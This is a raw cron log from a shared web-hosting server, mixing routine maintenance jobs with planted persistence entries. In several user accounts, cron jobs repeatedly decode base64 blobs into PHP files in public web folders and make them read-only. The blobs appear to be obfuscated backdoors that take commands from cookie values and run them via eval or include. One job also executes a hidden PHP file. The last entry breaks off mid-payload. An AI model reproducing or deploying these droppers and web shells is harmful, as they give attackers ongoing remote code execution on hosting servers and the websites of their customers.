Mar  2 13:39:02 medusa CROND[23223]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:40:01 medusa CROND[6832]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[6835]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:40:01 medusa CROND[6990]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:40:01 medusa CROND[6991]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:40:01 medusa CROND[6993]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:40:01 medusa CROND[6994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:40:01 medusa CROND[6995]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:40:01 medusa CROND[7002]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[7003]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[7004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[7005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:40:01 medusa CROND[7007]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:40:01 medusa CROND[7011]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:40:01 medusa CROND[7010]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 13:40:01 medusa CROND[7013]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[7019]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 13:40:01 medusa CROND[7023]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:40:01 medusa CROND[7024]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:40:01 medusa CROND[7026]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:40:01 medusa CROND[7029]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:40:01 medusa CROND[7034]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 13:40:01 medusa CROND[7036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:40:01 medusa CROND[7032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:40:01 medusa CROND[7028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[7054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:40:01 medusa CROND[7065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:40:01 medusa CROND[7064]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:40:01 medusa CROND[7052]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:41:01 medusa CROND[21748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:41:01 medusa CROND[21828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:41:01 medusa CROND[21827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:41:01 medusa CROND[21829]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:41:01 medusa CROND[21830]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:41:01 medusa CROND[21831]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:41:01 medusa CROND[21833]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:41:01 medusa CROND[21834]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:41:01 medusa CROND[21835]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:41:01 medusa CROND[21836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:41:01 medusa CROND[21844]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:41:01 medusa CROND[21839]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:41:01 medusa CROND[21845]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnV